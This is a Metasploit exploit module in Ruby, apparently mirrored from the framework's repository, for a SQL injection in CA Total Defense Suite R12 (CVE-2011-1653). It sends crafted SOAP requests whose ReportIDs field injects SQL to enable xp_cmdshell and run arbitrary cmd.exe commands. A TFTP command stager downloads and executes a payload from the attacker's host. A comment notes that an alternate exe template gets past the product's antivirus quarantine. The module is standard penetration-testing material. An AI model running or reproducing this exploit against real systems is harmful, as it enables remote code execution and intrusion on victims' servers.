Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::EXE1112def initialize(info = {})13super(update_info(info,14'Name' => 'CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection',15'Description' => %q{16This module exploits a SQL injection flaw in CA Total Defense Suite R12.17When supplying a specially crafted soap request to '/UNCWS/Management.asmx', an18attacker can abuse the reGenerateReports stored procedure by injecting arbitrary sql19statements into the ReportIDs element.2021},22'Author' => [ 'MC' ],23'License' => MSF_LICENSE,24'References' =>25[26[ 'ZDI', '11-134' ],27[ 'OSVDB', '74968'],28[ 'CVE', '2011-1653' ],29],30'Targets' =>31[32[ 'Windows Universal',33{34'Arch' => ARCH_X86,35'Platform' => 'win'36}37]38],39'CmdStagerFlavor' => 'tftp',40'Privileged' => true,41'Platform' => 'win',42'DisclosureDate' => '2011-04-13',43'DefaultTarget' => 0))4445register_options(46[47Opt::RPORT(34443),48OptBool.new('SSL', [ true, 'Use SSL', true ]),49OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])50])51end5253def windows_stager54print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")55tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']56execute_cmdstager({ temp: '.', tftphost: tftphost })57@payload_exe = generate_payload_exe5859print_status("Attempting to execute the payload...")60execute_command(@payload_exe)6162end6364def execute_command(cmd, opts = {})6566# NOTE: This module was tested against the MS SQL Server 2005 Express bundled with67# CA Total Defense Suite R12. CA's Total Defense Suite real-time protection68# will quarantine the default framework executable payload. Choosing an alternate69# exe template will bypass the quarantine.7071inject = [72"'') exec master.dbo.sp_configure 'show advanced options', 1;reconfigure;--",73"'') exec master.dbo.sp_configure 'xp_cmdshell',1;reconfigure;--",74"'') exec master.dbo.xp_cmdshell 'cmd.exe /c #{cmd}';--",75]7677inject.each do |sqli|7879soap = %Q|<?xml version="1.0" encoding="utf-8"?>80<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">81<soap12:Body>82<reGenerateReports xmlns="http://tempuri.org/">83<EnterpriseID>msf</EnterpriseID>84<ReportIDs>#{sqli}</ReportIDs>85<UserID>187</UserID>86</reGenerateReports>87</soap12:Body>88</soap12:Envelope>89|9091res = send_request_cgi(92{93'uri' => '/UNCWS/Management.asmx',94'method' => 'POST',95'version' => '1.0',96'ctype' => 'application/soap+xml; charset=utf-8',97'data' => soap,98}, 5)99100if ( res and res.body =~ /SUCCESS/ )101#print_good("Executing command...")102else103fail_with(Failure::Unknown, 'Something went wrong.')104end105end106107end108109def exploit110111unless datastore['CMD'].blank?112print_status("Executing command '#{datastore['CMD']}'")113execute_command(datastore['CMD'])114return115end116117case target['Platform']118when 'win'119windows_stager120else121fail_with(Failure::Unknown, 'Target not supported.')122end123124handler125126end127end128__END__129POST /UNCWS/Management.asmx HTTP/1.1130Host: 192.168.31.129131Content-Type: application/soap+xml; charset=utf-8132Content-Length: length133134<?xml version="1.0" encoding="utf-8"?>135<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">136<soap12:Body>137<reGenerateReports xmlns="http://tempuri.org/">138<EnterpriseID>string</EnterpriseID>139<ReportIDs>string</ReportIDs> <--boom!!140<UserID>long</UserID>141</reGenerateReports>142</soap12:Body>143</soap12:Envelope>144145146